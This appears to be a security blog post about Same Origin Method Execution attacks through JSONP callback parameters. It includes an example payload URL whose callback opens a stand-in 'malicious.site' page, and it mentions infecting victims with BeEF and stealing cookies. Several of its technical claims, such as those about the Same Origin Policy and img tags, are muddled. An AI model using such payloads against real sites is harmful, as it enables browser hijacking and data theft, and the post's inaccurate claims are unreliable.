Finding and Exploiting Same Origin Method Execution vulnerabilities

Recently it came to my attention that it was possible to abuse JSONP callbacks using a vulnerability known as SOME – Same Origin Method Execution which can be used by an attacker to widely abuse a user’s trust between the web application and the intended flow of execution. For example, using the SOME attack it is possible for an attacker to trick a user to visiting a malicious web-page which contains a link to the host’s web application API with a JSONP callback parameter which the attacker can then control.

An example of this would be as follows:
http://example.com/api/get_user.json?id=1&callback=logResults

The above URL could be an example of a method for a third-party to obtain user accounts associated with the user ID 1 and would return something similar to the following:
logResults({"username": "admin", "email_address":"test@example.com"});

However, using the SOME attack it is possible to change the callback function to be anything that Javascript or the API recognises. An example of which could be the following:
http://example.com/api/get_user.json?id=1&callback=window.open('http://malicious.site/evil.php');//

Which would return something similar to the following:
window.open('http://malicious.site/evil.php');//({"username": "admin", "email_address":"test@example.com"});

Using this example the above URL would open a window from the user’s browser and direct them to http://malicious.site/evil.php (and prevent the rest of the response from being parsed) which could infect the user’s browser with a persistent XSS malware such as BeEF or similar.

A lot of web applications contain the Same Origin Policy headers which attempts to prevent attackers from loading pages or resources from external entities. However this attack bypasses this in two ways. The first way is that JSONP or JSON with Padding is expected to be used externally as that is what it was designed to be used for and the second way is that all calls to the resource is loaded from the same origin which means that the request never gets picked up from the Same Origin Policy.

Whilst performing some testing with this vulnerability, I found that it was also possible to abuse this vulnerability remotely by bypassing the Same Origin Policy using a few tricks such as loading the affected URL directly from an <img src=""> tag or a <script> tag which do not get prevented from the Same Origin Policy. This allows an attacker to perform virtually unlimited amount of actions on the application under the context of the unsuspecting victim user. These actions could range from stealing personal images, releasing data, stealing cookies or just performing malicious acts such as infecting the user with BeEF.

During this research I found that most of the major websites, including Microsoft, Facebook, Google, etc are all vulnerable to this type of attack. The one thing they all have in common is open-source Javascript frameworks from jQuery, PrototypeJS, AngularJS and more. These Javascript frameworks appear to allow for the SOME vulnerability to be present without any way of removing the functionality (easily).

SOME Example